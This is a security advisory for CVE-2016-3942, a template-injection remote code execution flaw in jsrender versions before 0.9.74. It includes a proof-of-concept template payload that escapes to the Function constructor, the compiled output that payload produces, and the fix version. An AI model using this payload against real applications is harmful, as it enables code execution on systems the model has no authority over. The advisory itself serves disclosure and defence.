Skip to content
OpenAdvisories
Medium · 6.3 CVE-2016-3942 GHSA-r87w-47m8-22w3

Template Injection in jsrender

Published Sep 1, 2020 · Updated Nov 8, 2023 · Assigned by GHSA

Description

Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

## Proof of Concept

```js
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
```

```js
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
```

## Recommendation

Update to version 0.9.74 or later.

Affected packages

EcosystemPackageAffectedFixedRecord
npm jsrender < 0.9.74 0.9.74 GHSA-r87w-47m8-22w3

References